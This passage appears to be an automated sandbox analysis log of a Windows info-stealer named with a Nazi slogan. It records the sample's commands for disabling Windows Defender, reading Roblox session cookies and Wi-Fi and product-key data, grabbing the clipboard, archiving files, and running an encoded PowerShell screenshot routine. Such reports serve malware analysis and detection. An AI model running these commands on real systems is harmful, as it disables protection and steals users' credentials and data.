AoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D0C.tmp" "c:\Users\user\AppData\Local\Temp\0qdpbrpq\CSC1A48FA887436480A8B41407A32798B3.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbp